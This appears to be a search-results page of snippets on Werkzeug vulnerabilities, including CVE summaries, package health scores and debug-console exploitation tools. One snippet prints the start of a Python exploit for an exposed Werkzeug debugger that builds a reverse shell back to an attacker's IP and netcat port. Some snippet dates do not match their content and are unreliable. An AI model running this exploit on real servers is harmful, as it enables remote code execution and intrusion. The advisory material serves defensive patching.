Published: 18 years ago Last updated: 3 months ago Latest version: 3.1.8 Latest non-vulnerable version: 3.1.8 ... Loading chart... ... Further analysis of the maintenance status of Werkzeug based on released PyPI versions cadence, the repository activity, and other data points determined that its maintenance is Healthy.

January 28, 2018 - Vulnerable App: #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s

Security vulnerabilities and package health score for pip package werkzeug 2.2.2

Python script for exploiting Werkzeug Debug RCE useful for CTF - its-arun/Werkzeug-Debug-RCE

June 28, 2015 - Tested against the following Werkzeug versions: - 3.0.3 on Debian 12, Windows 11 and macOS 14.6 - 1.1.4 on Debian 12 - 1.0.1 on Debian 12 - 0.11.5 on Debian 12 - 0.10 on Debian 12 · To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced': ... With curated Threat Intelligence, you can see which vulnerabilities ...

3 days ago - And as explained in this writeup, this might cause a CL.0 Request Smuggling vulnerability. This is because, In Werkzeug it’s possible to send some Unicode characters and it will make the server break.

werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.

Red Hat Bugzilla – Bug 2170243 · This site requires JavaScript to be enabled to function correctly, please enable it · Privacy Contact FAQ Legal

February 15, 2023 - The issue is fixed in Werkzeug 2.2.3. ... For more information on CVSS3 Scores, click here. ... Mend: dependency security vulnerabilitySecurity vulnerability detected by MendSecurity vulnerability detected by Mend

Security vulnerabilities and package health score for pip package Werkzeug 2.0.2

The comprehensive WSGI web application library · Known vulnerabilities and security issues detected in the extension's dependencies and code

Werkzeug is vulnerable to a directory traversal vulnerability due to improper handling of UNC paths on Windows with Python versions less than 3.11.

September 11, 2024 - on Sep 11, 2024 · Issue body actions · Vulnerable Library - Werkzeug-2.2.3-py3-none-any.whl · The comprehensive WSGI web application library. Library home page: https://files.pythonhosted.org/packages/f6/f8/9da63c1617ae2a1dec2fbf6412f3a0cfe9d4ce029eccbda6e1e4258ca45f/Werkzeug-2.2.3-py3-none-any.whl ·

Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-bypass

January 18, 2024 - git clone https://github.com/hdks-bug/exploitnotes.git cd exploitnotes python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt zensical serve

February 24, 2023 - ... Due to a vulnerability detected in the Werkzeug library prior to 2.2.3, it needs to be updated to said version after checking that it is compatible with the other libraries installed in Wazuh. ... # /var/ossec/framework/python/bin/pipdeptree aiohttp-cache==2.2.0 - aiohttp [required: >=3.6,<4.0, installed: 3.8.1] - aiosignal [required: >=1.1.2, installed: 1.2.0] - frozenlist [required: >=1.1.0, installed: 1.2.0] - async-timeout [required: >=4.0.0a3,<5.0, installed: 4.0.2] - attrs [required: >=17.3.0, installed: 20.3.0] - charset-normalizer [required: >=2.0,<3.0, installed: 2.0.4] - frozenli

List of known vulnerabilities in Werkzeug in version 2.2.2

April 8, 2026 - Werkzeug's safe_join() relies on this check, and so can produce a path that is not safe, potentially allowing unintended access to data. Applications using Python = 3.11, or not using Windows, are not vulnerable. Werkzeug version 3.0.6 contains a patch.

November 30, 2025 - Library home page: https://files.pythonhosted.org/packages/52/24/ab44c871b0f07f491e5d2ad12c9bd7358e527510618cb1b803a88e986db1/werkzeug-3.1.3-py3-none-any.whl ... Path to vulnerable library: /tmp/ws-ua_20251126134238_BIMKRN/python_CHGREC/202511261343001/env/lib/python3.9/site-packages/werkzeug-3.1.3.dist-info,/tmp/ws-ua_20251126134238_BIMKRN/python_CHGREC/202511261343001/env/lib/python3.9/site-packages/werkzeug-3.1.3.dist-info

February 18, 2020 - The issue here is not the Werkzeug debugger itself, but an incorrect way of configuring a Werkzeug application: making the debugger available on a production machine. A publicly exposed debugger will subject the machine to remote code execution.